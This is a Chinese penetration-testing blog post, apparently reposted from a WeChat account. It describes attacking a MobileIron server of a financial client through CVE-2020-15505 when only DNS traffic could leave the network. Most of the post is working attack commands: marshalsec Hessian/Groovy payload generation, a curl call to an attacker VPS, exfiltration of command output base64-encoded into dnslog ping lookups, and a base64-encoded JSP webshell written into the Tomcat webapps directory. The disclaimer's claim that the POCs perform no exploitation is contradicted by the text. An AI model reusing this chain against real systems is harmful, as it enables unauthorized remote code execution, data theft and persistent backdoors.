一次不出网的CVE漏洞写shell-TOP漏洞挖掘

admin 2023年12月19日10:59:10评论31 views字数 5281阅读17分36秒阅读模式

前言

        

    记得是2023年的一个金融项目,因为只有dnslog出网,然后尝试找路径写shell的渗透过程。因为肯定是不能泄露项目的真实地址的所以地址统一修改为 https://mi.test.com。护我自己。

文章末尾领取资料

0x01 入口

    通过信息收集,找到了https://mi.test.com,是一个MobileIron。吐槽: 其实就是fofa翻翻翻翻翻翻到的。

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

    想起去年orange通过挖掘该系统漏洞获取了facebook权限。在GitHub上也有POC披露,于是便尝试使用该漏洞攻击。

    POC下载地址: 

https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2020-15505

0x02 出网测试

    对于不清楚内网环境的情况都需要进行fuzz,可以先尝试curl查看是否出网。

# 生成访问vps的命令: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "curl http://111.111.111.111/mdmpoc" > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

    发现并不能访问我的vps,于是只能通过dnslog查看内网环境。

    我们可以通过ping命令将信息带回。需要注意的是,最后面的双引号要改为单引号,否则反引号需要"\"转义

0x03 dnslog出 whoami

# 生成访问dnslog的并且带出whoami的命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'ping `whoami`.mydnslog.com' > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

    接着执行exp,在dnslog成功返回了用户名:

一次不出网的CVE漏洞写shell-TOP漏洞挖掘


    首先我们知道在带入ping中是无法执行带参数的命令的,也无法返回多行的字符。只能逐个命令进行fuzz,例如返回uname -a、ifconfig命令字符串

0x04 数据返回

    通过本地fuzz后发现,特殊字符可能会影响命令执行,如+/等,各个系统可能会有差异

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

0x04.1 第一层-编码

    为了解决该问题,我们得将命令执行的结果进行base64编码返回:

ifconfig|base64

0x04.2 第二层-管道

当然这还不行,还要解决多行,可以使用head命令指定第几行:

ifconfig|head -n 1|base64

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

最基础的命令已经解决了,可是我们无法在反引号中执行。

如 ping `ifconfig|head -n 1|base64`.mydnslog.com

0x04.3 第三层-变量

linux可以使用变量将结果再调用,整理命令后:

'whoami123=`ifconfig|head -n 1` && ping $whoami123.mydnslog.com'

0x04.4 第四层-字符限制

dnslog每级域名最长是63,总长不超过253。我们并不能决定命令执行的结果长度,只能截取<63长度的结果。20个字符串base64编码后刚好不会超过长度64。

'whoami123=`ifconfig|head -n 1|cut -b 1-20|base64` && $whoami123.mydnslog.com'

0x05 测试命令执行

了解基本命令之后,我们便能轻松对服务器进行命令执行。

一顿操作之后,获取内网地址在15-35个字符串之间:

# 生成命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`ifconfig|head -n 2|cut -b 15-35|base64` && ping $whoami123.mydnslog.com' > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

0x06 查找web目录

查找web目录,就拿首页的login.jsp进行扫描,使用2>/dev/null隐藏错误输出:

# 生成命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 1-20|base64` && ping $$whoami123.mydnslog.com' > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

还不够,继续截取:

# 生成命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'whoami123=`find / -name login.jsp 2>/dev/null |head -n 1|cut -b 21-40|base64` && ping $$whoami123.mydnslog.com' > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

拼接之后就能得到:

# 最终获得的绝对路径/mi/tomcat2/webapps/mics/login.jsp/mi/tomcat/webapps/mifs/user/login.jsp


如果字符过长的话就一行一行显示吧,只需要改head -n,比较麻烦:

head -n 1 | tail -n 1

0x07 写webshell

# 生成命令java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d  > mi/tomcat/webapps/mifs/1.jsp
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

写了img目录、mifs目录、css目录都会跳转至登陆界面,得找一个能够不会跳转的界面。这种情况的话建议打开web登录然后右键源代码看一下。执行命令太麻烦了,反正绝对路径已经知道了,自己猜测然后拼接一下更省力。

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

经过fuzz之后,发现scripts目录可以解析,上传shell之后不能执行。但是访问的时候确实解析了,抓包看一下,POST请求居然要认证。

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

那就用GET型的马,进行上shell:

生成命令: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" 'echo PCVpZigia2siLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgamF2YS5pby5JbnB1dFN0cmVhbSBpbiA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImkiKSkuZ2V0SW5wdXRTdHJlYW0oKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaW50IGEgPSAtMTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsyMDQ4MDBdOyAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjxwcmU+Iik7ICANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7ICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfSAgDQogICAgICAgICAgICAgICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpO30gJT4gOTk4OQ== | base64 -d  > mi/tomcat/webapps/mifs/scripts/6.jsp' > exp.ser
# 执行命令: python hessian.py -u 'https://mi.test.com/mifs/.;/services/LogService' -p exp.ser

一次不出网的CVE漏洞写shell-TOP漏洞挖掘

总结

细一点,总会有好事发生的

最后

     需要加入内部VIP知识星球的可以后台回复“星球”,里面可以学习更多漏洞相关的知识和资源,包含但不限于SRC漏洞挖掘、攻防演练、内网渗透及各种工具、学习视频、账号等等,详情回复"星球"后有介绍,送5张20元优惠券用完即止早加入早享受

结尾

免责声明

获取方法


关注领取资源:

回复“钓鱼001" 获取  攻防演练-钓鱼文案

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

压缩包解压密码:HackTwo

最后必看

本工具或文章仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,如果你学习了该文章内容需要测试请自行搭建靶机环境,勿用于非法行为


为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。


在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。


如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!





原文始发于微信公众号(渗透安全HackTwo):一次不出网的CVE漏洞写shell-TOP漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月19日10:59:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次不出网的CVE漏洞写shell-TOP漏洞挖掘https://cn-sec.com/archives/2315894.html

发表评论

匿名网友 填写信息